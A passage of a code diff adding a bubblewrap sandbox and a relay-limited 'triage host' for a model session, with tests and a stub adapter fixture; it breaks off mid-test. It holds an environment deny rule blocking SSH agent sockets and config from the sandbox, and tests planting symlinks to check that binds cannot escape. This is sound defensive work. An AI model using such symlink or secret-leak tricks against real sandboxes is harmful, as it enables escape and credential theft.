}); + out.push({ kind: "ro", src: adapter, why: "the harness adapter the runner starts each turn" }); + for (const m of harnessMounts) out.push({ kind: "ro", src: m.src, ...(m.dest ? { dest: m.dest } : {}), why: m.why }); + for (const f of readOnly) out.push({ kind: "ro", src: f, why: "a test fixture" }); + out.push( + { kind: "rw", src: runDir, why: "the session's own state: turns/, session/, work/, tools.sock, turn.done, home/, tmp/" }, + { kind: "ro", src: healthDir, dest: healthDest, why: "the health snapshots the Console writes, read-only, inside the workspace the read tools reach" }, + { kind: "ro", src: join(runDir, "bundle"), why: "the run's bundle stays as the host wrote it" }, + { kind: "ro", src: join(runDir, "session.json"), why: "the session file stays as the host wrote it" }, + { kind: "ro", src: relaySocket, why: "the host's relay, the only broker the runner reaches" }, + { kind: "rw", src: join(runDir, "tmp"), dest: "/tmp", why: "a private /tmp, on disk in the run directory" }, + ); + return out; +} + +// The command line for a hosted session: as sandboxArgv, with no git identity, since a hosted +// session belongs to no organization and holds no git verb. +export function hostedArgv(list, runDir, command, { bwrap = BWRAP } = {}) { + return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command]; +} + // Whether bwrap runs here at all: the namespaces and the system binds, then // setpriv and `true`. Returns null, or why not. export function sandboxProblem({ bwrap = BWRAP } = {}) { diff --git a/packages/seat/tests/hosted-binds.test.mjs b/packages/seat/tests/hosted-binds.test.mjs new file mode 100644 index 000000000..bfd64db77 --- /dev/null +++ b/packages/seat/tests/hosted-binds.test.mjs @@ -0,0 +1,83 @@ +// #1873 triage-host: the binds of a session the Console hosts in no organization. From the data root +// it gets its own run directory and the health directory, read-only, and nothing else; every source +// inside the run directory must be what the host made, never a link. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { createServer } from "node:net"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { RUNNER_FILES, hostedArgv, hostedBinds } from "../src/sandbox.mjs"; + +function layout(t) { + const root = mkdtempSync(join(process.env.TMPDIR, "hb-")); + const dataRoot = join(root, "data"); + const runDir = join(dataRoot, "triage", "agent"); + const healthDir = join(dataRoot, "triage", "health"); + for (const d of [join(dataRoot, "orgs"), join(dataRoot, "triage", "host"), healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work", "health")]) mkdirSync(d, { recursive: true }); + writeFileSync(join(runDir, "session.json"), "{}"); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, "exit 0\n"); + return new Promise((resolve) => { + const server = createServer().listen(join(runDir, "relay.sock"), () => { + t.after(() => server.close()); + resolve({ root, dataRoot, runDir, healthDir, adapter, relaySocket: join(runDir, "relay.sock") }); + }); + }); +} + +test("hosted binds hold the run directory and the health directory of the data root, and nothing else of it", async (t) => { + const p = await layout(t); + const list = hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }); + const fromData = list.filter((b) => typeof b.src === "string" && b.src.startsWith(p.dataRoot + "/")); + assert.deepEqual(fromData.map((b) => [b.kind, b.src, b.dest ?? null]), [ + ["rw", p.runDir, null], + ["ro", p.healthDir, join(p.runDir, "work", "health")], + ["ro", join(p.runDir, "bundle"), null], + ["ro", join(p.runDir, "session.json"), null], + ["ro", p.relaySocket, null], + ["rw", join(p.runDir, "tmp"), "/tmp"], + ]); + for (const f of RUNNER_FILES) assert.ok(list.some((b) => b.kind === "ro" && b.src === f), f); + assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter)); + assert.ok(!list.some((b) => b.src === p.root || b.src === p.dataRoot || (typeof b.src === "string" && b.src.startsWith(join(p.dataRoot, "orgs"))))); + assert.ok(!list.some((b) => b.src === process.env.HOME || b.dest === process.env.HOME)); + assert.ok(list.every((b) => typeof b.why === "string" && b.why.length > 0)); +}); + +test("hosted binds refuse a relay socket elsewhere, and any source in the run directory that the host did not make", async (t) => { + const p = await layout(t); + const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }; + assert.throws(() => hostedBinds({ ...base, relaySocket: join(p.root, "bus.sock") }), /relay socket must be the run directory's relay\.sock/); + // A link in place of each directory the binds read: bwrap would follow it on the host. + for (const d of ["bundle", "tmp", "work"]) { + rmSync(join(p.runDir, d), { recursive: true }); + symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, d)); + assert.throws(() => hostedBinds(base), /is not a directory/, d); + rmSync(join(p.runDir, d)); + mkdirSync(join(p.runDir, d === "work" ? join("work", "health") : d), { recursive: true }); + } + rmSync(join(p.runDir, "work", "health"), { recursive: true }); + symlinkSync(join(p.dataRoot, "triage", "host"), join(p.runDir, "work", "health")); + assert.throws(() => hostedBinds(base), /is not a directory/); + rmSync(join(p.runDir, "work", "health")); + mkdirSync(join(p.runDir, "work", "health")); + rmSync(join(p.runDir, "session.json")); + symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, "session.json")); + assert.throws(() => hostedBinds(base), /session\.json is not what the host made/); + rmSync(join(p.runDir, "session.json")); + writeFileSync(join(p.runDir, "session.json"), "{}"); + assert.throws(() => hostedBinds({ ...base, healthDir: join(p.root, "absent") }), /the health directory is missing/); + hostedBinds(base); +}); + +test("the hosted command line sets no git identity and runs the command under the namespaces", async (t) => { + const p = await layout(t); + const argv = hostedArgv(hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }), p.runDir, ["node", "runner.mjs", p.runDir], { bwrap: "/b/bwrap" }); + assert.equal(argv[0], "/b/bwrap"); + assert.deepEqual(argv.slice(1, 5), ["--unshare-user", "--unshare-pid", "--unshare-ipc", "--as-pid-1"]); + assert.deepEqual(argv.slice(-3), ["node", "runner.mjs", p.runDir]); + assert.ok(!argv.some((a) => a.startsWith("GIT_"))); + const home = argv.indexOf("HOME"); + assert.equal(argv[home + 1], join(p.runDir, "home")); + assert.ok(argv.includes("--remount-ro")); +}); diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs new file mode 100644 index 000000000..d3bf00d5b --- /dev/null +++ b/packages/webui/src/triage-host.mjs @@ -0,0 +1,376 @@ +// #1873 triage-host: the Triage session's host, held by the Console (design sections 1 and 4). +// +// Directories, under /triage/ (0700, real directories owned by this user): +// health/ the snapshot the Console writes (triage-snapshot.mjs); mounted read-only +// agent/ the session's own run directory; mounted read-write, with bundle/, session.json and +// relay.sock read-only inside it +// host/ the transcript (transcript.jsonl, 0600) and the runner's log; never mounted +// Nothing else of the data root, no org root, bus socket, config directory or secrets directory is +// in the sandbox (packages/seat/src/sandbox.mjs, hostedBinds). +// +// The session starts on the owner's first message, never when the Console starts. Its spawn +// environment is SPAWN_ENV_ALLOW and the route's ROUTE_ENV_ALLOW names; bwrap adds HOME and TMPDIR. +// No MOSAIC_CONFIG, no MOSAIC_BUS_* and no Console variable reaches it. +// +// The relay is the only broker the runner reaches. It answers the runner's own lifecycle verbs with +// fixed answers that change nothing, hands over the owner's queued messages, and keeps a +// message.send only when it is addressed to "human": that text goes into the transcript and its +// cards are checked (triage-cards.mjs). Every other verb, decision.raise and event.emit included, +// a send to anyone else and a call with the wrong capability are refused with RELAY_REFUSED. +// +// A model route comes from an injected `route` ({ admit() }). Without one nothing launches and the +// state says so. The route's answer names the harness: adapter, its mounts, harnessEnv, turnEnd, +// model and provider, and the proxy variables for the spawn. Over the cap the route refuses until +// the next day, and the message is refused with its code. + +import { spawn } from "node:child_process"; +import { randomBytes, timingSafeEqual } from "node:crypto"; +import { appendFileSync, closeSync, lstatSync, mkdirSync, openSync, readFileSync, rmSync, chmodSync, writeFileSync } from "node:fs"; +import { createServer } from "node:net"; +import { dirname, join } from "node:path"; +import { BWRAP, REPO, RUNNER_FILES, hostedArgv, hostedBinds } from "../../seat/src/sandbox.mjs"; +import { typedTools } from "../../harness/src/tools.mjs"; +import { builtinTools } from "../../harness/src/bundle.mjs"; +import { FOUNDER_ENV } from "../../harness/src/runner.mjs"; +import { extractCards, plainText } from "./triage-cards.mjs"; +import { SNAPSHOT_FILE, writeSnapshot } from "./triage-snapshot.mjs"; + +export const RUNNER = RUNNER_FILES[0]; +export const RELAY_REFUSED = "triage-refused"; +export const MESSAGE_MAX = 4000; +export const TRANSCRIPT_KEEP = 200; +export const QUEUE_MAX = 20; +const LINE_MAX = 64 * 1024; +const CAP = /^[0-9a-f]{64}$/; + +// The spawn's environment: these names from the Console's own environment, PATH fixed, and the +// route's proxy variables. bwrap sets HOME and TMPDIR inside. +export const SPAWN_ENV_ALLOW = Object.freeze(["PATH", "LANG", "LC_ALL", "TZ", "TERM"]); +export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_API_KEY"]); +const ENV_NAME = /^[A-Z][A-Z0-9_]{0,63}$/; +const deniedHarnessName = (k) => !ENV_NAME.test(k) || k === "MOSAIC_CONFIG" || k.startsWith("MOSAIC_BUS_") || FOUNDER_ENV.includes(k) || k === "SSH_AUTH_SOCK"; + +export function triageEnv(source, routeEnv = {}, { node = process.execPath } = {}) { + const env = { PATH: `${dirname(node)}:/usr/bin:/bin` }; + for (const k of SPAWN_ENV_ALLOW) if (k !== "PATH" && typeof source?.[k] === "string" && source[k].length <= 256) env[k] = source[k]; + for (const k of ROUTE_ENV_ALLOW) if (typeof routeEnv?.[k] === "string" && routeEnv[k].length <= 4096) env[k] = routeEnv[k]; + return env; +} + +// The relay's fixed answers. None of them reaches a bus or changes anything. +const LIFECYCLE = Object.freeze({ + "role.claim": () => ({ library: false }), + state: () => ({ launch: { state: "on", at: null, event: null }, tasks: { open: [], total: 0, cap: 0 } }), + "processing.status": () => ({ halted: false, invalid: false }), + "usage.begin": () => ({}), + "usage.end": () => ({}), + "role.release": () => ({}), +}); + +export class TriageError extends Error { + constructor(code, message) { + super(message); + this.code = code; + } +} + +function realDir(path, { create = true } = {}) { + let st; + try { + st = lstatSync(path); + } catch (e) { + if (e.code !== "ENOENT" || !create) throw new TriageError("triage-dir-unsafe", "a Triage directory is missing"); + mkdirSync(path, { mode: 0o700 }); + st = lstatSync(path); + } + if (st.isSymbolicLink() || !st.isDirectory()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not a real directory"); + if (typeof process.getuid === "function" && st.uid !== process.getuid()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not owned by the Console's user"); + chmodSync(path, 0o700); +} + +// A directory inside agent/, which the session can write: removed whole (rm never follows a link) +// and made again, so a link the session left there can't steer a bind or a host write. +function freshDir(path) { + rmSync(path, { recursive: true, force: true }); + mkdirSync(path, { mode: 0o700 }); +} + +export function triagePaths(dataRoot) { + const root = join(dataRoot, "triage"); + return { root, health: join(root, "health"), agent: join(root, "agent"), host: join(root, "host"), transcript: join(root, "host", "transcript.jsonl"), log: join(root, "host", "runner.log") }; +} + +// The prompt is the role's contract and the host's own lines: where the snapshot is and how a +// card is written. It names the snapshot inside the session, never a host path of the data root. +export function hostPrompt(contract, { snapshotPath, steps }) { + return [ + contract.trimEnd(), + "", + "## This host", + "", + `- The health snapshot is the JSON file ${snapshotPath}. Read it at the start of each turn; it is the only health you can see. A field that says "not read" was not read; say so, never guess it.`, + "- Each message arrives as one turn and your final answer goes back to the person. send_message reaches only \"human\"; this host refuses every other call.", + "- Propose each fix as a card in one fenced block marked cards, holding a JSON array of objects with exactly two keys, step and org, for example:", + "```cards", + '[{"step": "bus-start", "org": "alpha"}]', + "```", + `- step is one of: ${steps.join(", ")}. org is an organization id from the snapshot. The Console writes the command for each card; never write a command yourself. A card with anything else is dropped.`, + "", + ].join("\n"); +} + +function sameCap(a, b) { + if (typeof a !== "string" || !CAP.test(a)) return false; + return timingSafeEqual(Buffer.from(a), Buffer.from(b)); +} + +// The relay server. `onSend(body)` keeps a human-bound send; `take()` returns the queued owner +// messages; `read(id)` drops one that was answered. +export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) { + const answer = (conn, value) => { try { conn.end(JSON.stringify(value) + "\n"); } catch {} }; + const refuse = (conn) => answer(conn, { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" }); + const server = createServer((conn) => { + let buf = ""; + let done = false; + conn.setTimeout(30_000, () => conn.destroy()); + conn.on("error", () => {}); + conn.on("data", (chunk) => { + if (done) return; + buf += chunk.toString("utf8"); + if (buf.length > LINE_MAX) { done = true; return refuse(conn); } + const nl = buf.indexOf("\n"); + if (nl < 0) return; + done = true; + let req; + try { req = JSON.parse(buf.slice(0, nl)); } catch { return refuse(conn); } + if (!req || typeof req !== "object" || !sameCap(req.cap, cap) || typeof req.verb !== "string") return refuse(conn); + const args = req.args && typeof req.args === "object" && !Array.isArray(req.args) ? req.args : {}; + const verb = req.verb; + try { + if (Object.hasOwn(LIFECYCLE, verb)) return answer(conn, { ok: true, result: LIFECYCLE[verb]() }); + if (verb === "message.receive") return answer(conn, { ok: true, result: take() }); + if (verb === "message.read") { read(args.id); return answer(conn, { ok: true, result: {} }); } + if (verb === "message.send" && args.to === "human" && typeof args.body === "string" && args.body.length <= 32768) { + onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" ? args.in_reply_to : null }); + return answer(conn, { ok: true, result: { id: `triage-${randomBytes(6).toString("hex")}` } }); + } + } catch (e) { + log(`triage relay: ${verb} failed: ${e.code ?? "error"}`); + } + log(`triage relay: refused ${/^[a-z][a-z0-9._-]{0,63}$/.test(verb) ? verb : "a verb"}`); + return refuse(conn); + }); + }); + return new Promise((resolve, reject) => { + server.once("error", reject); + server.listen(socket, () => { + server.off("error", reject); + chmodSync(socket, 0o600); + resolve(server); + }); + }); +} + +// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, log }) +// route { admit() -> { ok: true, adapter, harness, harnessEnv, harnessMounts, turnEnd, model, +// provider, env } | { ok: false, code, until? } } or null for no route +// readSnapshot async () -> the snapshot (triage-snapshot.mjs composeSnapshot), written to health/ +// pollInterval the runner's receive interval in ms, for tests; the runner's default otherwise +export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null }) { + if (typeof dataRoot !== "string" || !dataRoot.startsWith("/")) throw new TriageError("triage-no-data-root", "no data root"); + const paths = triagePaths(dataRoot); + const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8")); + const contract = readFileSync(join(roleDir, role.contract), "utf8"); + let last = null; // the last snapshot written + let child = null; + let relay = null; + let starting = null; + let lastExit = null; + let cap = null; + const queue = []; + + const ensureDirs = () => { + mkdirSync(dataRoot, { recursive: true, mode: 0o700 }); + for (const d of [paths.root, paths.health, paths.agent, paths.host]) realDir(d); + }; + + const append = (entry) => { + ensureDirs(); + const fd = openSync(paths.transcript, "a", 0o600); + try { appendFileSync(fd, JSON.stringify(entry) + "\n"); } finally { closeSync(fd); } + chmodSync(paths.transcript, 0o600); + }; + + const transcript = () => { + let text = ""; + try { + const st = lstatSync(paths.transcript); + if (!st.isFile()) return []; + text = readFileSync(paths.transcript, "utf8"); + } catch { return []; } + const out = []; + for (const line of text.split("\n")) { + if (!line) continue; + try { out.push(JSON.parse(line)); } catch {} + } + return out.slice(-TRANSCRIPT_KEEP); + }; + + const orgIds = () => new Set(Array.isArray(last?.organizations?.list) ? last.organizations.list.map((o) => o.id) : []); + + const refresh = async () => { + ensureDirs(); + let snap = null; + try { snap = await readSnapshot(); } catch { snap = null; } + if (snap && typeof snap === "object") { + writeSnapshot(paths.health, snap); + last = snap; + } + return last; + }; + + const writeBundle = (admitted) => { + const a = paths.agent; + for (const d of ["bundle", "tmp", "work", "home"]) freshDir(join(a, d)); + mkdirSync(join(a, "work", "health"), { mode: 0o700 }); + for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done"]) rmSync(join(a, f), { recursive: true, force: true }); + // The session's history stays across starts, unless the session put something other than a + // real directory there. + try { realDir(join(a, "session")); } catch { freshDir(join(a, "session")); } + const resolved = { limits: { authority: role.authority, tools: role.tools }, definition: "triage", pluginTools: [] }; + const tools = typedTools({ resolved }).filter((t) => t.name === "send_message"); + const workspace = join(a, "work"); + const policy = { harness: admitted.harness, workspace, tools: builtinTools(role.tools), typed: tools.map((t) => t.name), network: role.network, needs: [], credentials: [] }; + const bundle = { prompt: join(a, "bundle", "prompt.md"), policy: join(a, "bundle", "policy.json"), tools: join(a, "bundle", "tools.json") }; + const steps = ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]; + writeFileSync(bundle.prompt, hostPrompt(contract, { snapshotPath: join(workspace, "health", SNAPSHOT_FILE), steps }), { mode: 0o600, flag: "wx" }); + writeFileSync(bundle.policy, JSON.stringify(policy, null, 2) + "\n", { mode: 0o600, flag: "wx" }); + writeFileSync(bundle.tools, JSON.stringify(tools, null, 2) + "\n", { mode: 0o600, flag: "wx" }); + const session = { + bundle, adapter: admitted.adapter, harness: admitted.harness, harnessEnv: admitted.harnessEnv, turnEnd: admitted.turnEnd, + workspace, sessionDir: join(a, "session"), toolSocket: join(a, "tools.sock"), turnMarker: join(a, "turn.done"), + brokerSocket: join(a, "relay.sock"), business: "system", instance: "triage", run: `triage-${now().toISOString().replace(/[^0-9]/g, "").slice(0, 14)}`, + model: admitted.model, provider: admitted.provider ?? "", + ...(Number.isInteger(pollInterval) && pollInterval >= 100 ? { pollInterval } : {}), + }; + writeFileSync(join(a, "session.json"), JSON.stringify(session, null, 2) + "\n", { mode: 0o600, flag: "wx" }); + }; + + const checkAdmitted = (a) => { + if (!a || typeof a !== "object" || typeof a.adapter !== "string" || !a.adapter.startsWith("/") + || !["marker", "exit"].includes(a.turnEnd) || typeof a.model !== "string" || !a.model + || typeof a.harness !== "string" || !/^[a-z][a-z0-9-]{0,31}$/.test(a.harness) + || !a.harnessEnv || typeof a.harnessEnv !== "object" || Array.isArray(a.harnessEnv) + || Object.entries(a.harnessEnv).some(([k, v]) => typeof v !== "string" || deniedHarnessName(k)) + || !Array.isArray(a.harnessMounts ?? [])) throw new TriageError("triage-route-invalid", "the model route's answer is not usable"); + }; + + const start = async (admitted) => { + checkAdmitted(admitted); + ensureDirs(); + writeBundle(admitted); + cap = randomBytes(32).toString("hex"); + relay = await createRelay({ + socket: join(paths.agent, "relay.sock"), cap, + take: () => { + const out = queue.filter((m) => !m.delivered); + for (const m of out) m.delivered = true; + return out.map(({ id, body, at }) => ({ id, from_role: "human", class: "REQUEST", body, at })); + }, + read: (id) => { + const i = queue.findIndex((m) => m.id === id); + if (i >= 0) queue.splice(i, 1); + }, + onSend: ({ body, in_reply_to }) => { + const { text, cards, dropped } = extractCards(body, orgIds()); + append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) }); + }, + log, + }); + const list = hostedBinds({ runDir: paths.agent, healthDir: paths.health, adapter: admitted.adapter, harnessMounts: admitted.harnessMounts ?? [], relaySocket: join(paths.agent, "relay.sock"), node, readOnly }); + const argv = hostedArgv(list, paths.agent, [node, RUNNER, paths.agent], { bwrap }); + const out = openSync(paths.log, "a", 0o600); + try { + child = spawn(argv[0], argv.slice(1), { env: triageEnv(env, admitted.env, { node }), detached: true, stdio: ["pipe", out, out] }); + } finally { + closeSync(out); + } + const mine = child; + mine.on("error", () => {}); + mine.stdin.on("error", () => {}); + mine.stdin.end(JSON.stringify({ cap }) + "\n"); + mine.on("exit", (code, signal) => { + if (child !== mine) return; + lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() }; + child = null; + relay?.close(); + relay = null; + rmSync(join(paths.agent, "relay.sock"), { force: true }); + }); + }; + + const admit = async () => { + if (!route || typeof route.admit !== "function") return { ok: false, code: "triage-no-route" }; + let a; + try { a = await route.admit(); } catch { return { ok: false, code: "triage-route-unreadable" }; } + if (a?.ok === true) return a; + const code = ["triage-no-route", "triage-over-cap"].includes(a?.code) ? a.code : "triage-route-refused"; + return { ok: false, code, ...(typeof a?.until === "string" ? { until: a.until } : {}) }; + }; + + return { + paths, + get running() { return child !== null; }, + get pid() { return child?.pid ?? null; }, + routeSet: () => Boolean(route && typeof route.admit === "function"), + async state() { + return { + route: this.routeSet() ? "set" : "not set", + running: child !== null, + lastExit, + snapshot: last, + transcript: transcript(), + }; + }, + refresh, + // The owner's message: checked, admitted by the route, written to the transcript, queued, and + // the session started when it isn't running. + async message(raw) { + const text = plainText(typeof raw === "string" ? raw : "", MESSAGE_MAX + 1).trim(); + if (!text) throw new TriageError("triage-message-empty", "the message is empty"); + if (text.length > MESSAGE_MAX) throw new TriageError("triage-message-too-long", `a message holds at most ${MESSAGE_MAX} characters`); + if (queue.length >= QUEUE_MAX) throw new TriageError("triage-busy", "Triage has too many messages waiting"); + const admitted = await admit(); + if (!admitted.ok) throw Object.assign(new TriageError(admitted.code, admitted.code === "triage-over-cap" ? "Triage is over its daily cap" : admitted.code === "triage-no-route" ? "no model route is set for Triage" : "the model route refused"), admitted.until ? { until: admitted.until } : {}); + await refresh(); + const at = now().toISOString(); + const id = `owner-${randomBytes(6).toString("hex")}`; + append({ at, from: "owner", id, text }); + queue.push({ id, body: text, at, delivered: false }); + if (!child) { + starting ??= start(admitted).finally(() => { starting = null; }); + try { await starting; } + catch (e) { + queue.splice(queue.findIndex((m) => m.id === id), 1); + relay?.close(); + relay = null; + log(`triage host: start failed: ${e.code ?? "error"}`); + throw e instanceof TriageError ? e : new TriageError("triage-start-failed", "the Triage session did not start"); + } + } + return { id, at }; + }, + async stop() { + const c = child; + if (c) { + try { process.kill(-c.pid, "SIGTERM"); } catch {} + await new Promise((resolve) => { + const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, 5000); + c.once("exit", () => { clearTimeout(t); resolve(); }); + }); + } + relay?.close(); + relay = null; + }, + }; +} diff --git a/packages/webui/tests/fixtures/triage-adapter.mjs b/packages/webui/tests/fixtures/triage-adapter.mjs new file mode 100644 index 000000000..30a2c0650 --- /dev/null +++ b/packages/webui/tests/fixtures/triage-adapter.mjs @@ -0,0 +1,61 @@ +// A stand-in harness turn for the Triage host tests (#1873). It imports nothing from the repository, +// so it runs with only the binds the host gives it. The message body picks the behaviour: +// PROBE answer JSON: the environment's variable names (never values), which of the paths in +// $TRIAGE_PROBE (a JSON array) are visible, the snapshot's version, and whether the +// health directory and the bundle refuse a write +// CARDS answer a reply with a cards fence: one valid card, one unknown step +// TOOL call send_message to through the tool socket and answer the raw reply +// SLEEP hang until killed +// anything else answer "echo: " +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { connect } from "node:net"; +import { join } from "node:path"; + +const request = process.env.MOSAIC_REQUEST ?? ""; +const body = request.match(/^Message [^\n]*:\n\n([\s\S]*)$/m)?.[1] ?? ""; +const workspace = process.env.MOSAIC_WORKSPACE; + +const tryWrite = (path) => { + try { + writeFileSync(path, "x"); + return "written"; + } catch (e) { + return e.code ?? "refused"; + } +}; + +function toolCall(tool, args) { + return new Promise((resolve) => { + const socket = connect(process.env.MOSAIC_TOOL_SOCKET); + let input = ""; + socket.on("connect", () => socket.write(JSON.stringify({ tool, args }) + "\n")); + socket.on("data", (b) => { + input += b; + if (input.includes("\n")) { socket.destroy(); resolve(input.trim()); } + }); + socket.on("error", (e) => resolve(`socket ${e.code}`)); + }); +} + +if (body === "PROBE") { + let paths = []; + try { paths = JSON.parse(process.env.TRIAGE_PROBE ?? "[]"); } catch {} + let snapshot = null; + try { snapshot = JSON.parse(readFileSync(join(workspace, "health", "snapshot.json"), "utf8")).snapshotVersion; } catch {} + process.stdout.write(JSON.stringify({ + env: Object.keys(process.env).sort(), + seen: Object.fromEntries(paths.map((p) => [p, existsSync(p)])), + snapshot, + writeHealth: tryWrite(join(workspace, "health", "planted.json")), + writeBundle: tryWrite(join(process.env.MOSAIC_POLICY_FILE, "..", "planted.json")), + writeWork: tryWrite(join(workspace, "note.txt")), + })); +} else if (body === "CARDS") { + process.stdout.write('The alpha bus is stopped.\n```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-wipe", "org": "alpha"}]\n```\n'); +} else if (body.startsWith("TOOL ")) { + process.stdout.write(await toolCall("send_message", { to: body.slice(5), body: "from the tool", class: "INFO" })); +} else if (body === "SLEEP") { + setInterval(() => {}, 1000); +} else { + process.stdout.write(`echo: ${body}`); +} diff --git a/packages/webui/tests/triage-host.test.mjs b/packages/webui/tests/triage-host.test.mjs new file mode 100644 index 000000000..6b61207b3 --- /dev/null +++ b/packages/webui/tests/triage-host.test.mjs @@ -0,0 +1,232 @@ +// #1873 triage-host: the Triage session's host and its relay. The relay answers only a message to +// the person; the session sees its own run directory and the health snapshots and nothing else of +// the data root; its environment is a fixed list; nothing launches without a model route or over +// the cap. The session runs the stub adapter (tests/fixtures/triage-adapter.mjs); no model is called. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { connect } from "node:net"; +import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, symlinkSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { Client } from "../../bus/src/client.mjs"; +import { sandboxProblem } from "../../seat/src/sandbox.mjs"; +import { + RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, createRelay, createTriageHost, hostPrompt, triageEnv, +} from "../src/triage-host.mjs"; + +const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname; +const skip = sandboxProblem() ?? false; +const scratch = () => mkdtempSync(join(process.env.TMPDIR, "th-")); +const CAP = "a".repeat(64); +const SNAPSHOT = { + snapshotVersion: 1, at: "2026-11-16T12:00:00.000Z", console: { state: "answering", at: "2026-11-16T12:00:00.000Z" }, + proxy: "not read", systemConfig: { valid: true, exit: 0, code: null }, + organizations: { count: 1, list: [{ id: "alpha", bus: { state: "stopped", lastStart: null }, processing: "not read", config: { valid: true, exit: 0, code: null } }] }, +}; +// What the Console's own environment might hold: none of it but the allowed names may reach the session. +const CONSOLE_ENV = { + PATH: "/should/not/pass", LANG: "C.UTF-8", TZ: "UTC", HOME: "/home/someone", MOSAIC_CONFIG: "/x/config.json", + MOSAIC_BUS_CONSOLE_SOCKET: "/x/bus.sock", MOSAIC_GITEA_CREDENTIAL_FILE: "/x/cred", GITEA_TOKEN: "t", SSH_AUTH_SOCK: "/x/agent", + ANTHROPIC_API_KEY: "from-the-console", XDG_CONFIG_HOME: "/x", MOSAIC_DATA_ROOT: "/x", +}; + +const raw = (socket, line) => new Promise((resolve, reject) => { + const c = connect(socket); + let input = ""; + c.on("connect", () => c.write(line + "\n")); + c.on("data", (b) => { input += b; }); + c.on("end", () => resolve(JSON.parse(input))); + c.on("error", reject); +}); + +test("triageEnv keeps the fixed names and the route's proxy variables, and nothing else", () => { + const env = triageEnv(CONSOLE_ENV, { ANTHROPIC_BASE_URL: "http://127.0.0.1:1", ANTHROPIC_AUTH_TOKEN: "k", MOSAIC_CONFIG: "/y", OTHER: "z" }, { node: "/opt/node/bin/node" }); + assert.deepEqual(Object.keys(env).sort(), ["ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "LANG", "PATH", "TZ"]); + assert.equal(env.PATH, "/opt/node/bin:/usr/bin:/bin"); + assert.deepEqual(SPAWN_ENV_ALLOW, ["PATH", "LANG", "LC_ALL", "TZ", "TERM"]); + assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_API_KEY"]); + assert.equal(triageEnv(CONSOLE_ENV).ANTHROPIC_API_KEY, undefined, "a key in the Console's environment is not the route's"); +}); + +test("the relay refuses every verb but a message to the person, and any call without the capability", async (t) => { + const dir = scratch(); + const socket = join(dir, "relay.sock"); + const sent = []; + const queue = [{ id: "owner-1", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]; + const read = []; + const server = await createRelay({ socket, cap: CAP, take: () => queue.splice(0), read: (id) => read.push(id), onSend: (m) => sent.push(m) }); + t.after(() => server.close()); + const client = new Client({ path: socket, cap: CAP }); + assert.deepEqual(await client.call("role.claim"), { library: false }); + assert.deepEqual(await client.call("processing.status"), { halted: false, invalid: false }); + assert.deepEqual((await client.call("state")).tasks, { open: [], total: 0, cap: 0 }); + assert.deepEqual(await client.call("message.receive"), [{ id: "owner-1", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]); + assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-1" })).id, /^triage-/); + await client.call("message.read", { id: "owner-1" }); + assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-1" }]); + assert.deepEqual(read, ["owner-1"]); + const refused = [ + ["decision.raise", { kind: "hire", body: "x" }], ["event.emit", { kind: "action.allowed", body: {} }], + ["message.send", { to: "chief", body: "x", class: "INFO" }], ["message.send", { to: "pm", body: "x" }], + ["message.send", { to: "human" }], ["task.create", { title: "x" }], ["launch", { instance: "chief" }], + ["plugin.tool", {}], ["toString", {}], ["__proto__", {}], ["constructor", {}], + ]; + for (const [verb, args] of refused) { + await assert.rejects(client.call(verb, args), (e) => e.code === RELAY_REFUSED, verb); + } + await assert.rejects(new Client({ path: socket, cap: "b".repeat(64) }).call("message.send", { to: "human", body: "x" }), (e) => e.code === RELAY_REFUSED); + await assert.rejects(new Client({ path: socket, human: "jason" }).call("message.receive"), (e) => e.code === RELAY_REFUSED); + assert.deepEqual(await raw(socket, "not json"), { ok: false, error: RELAY_REFUSED, 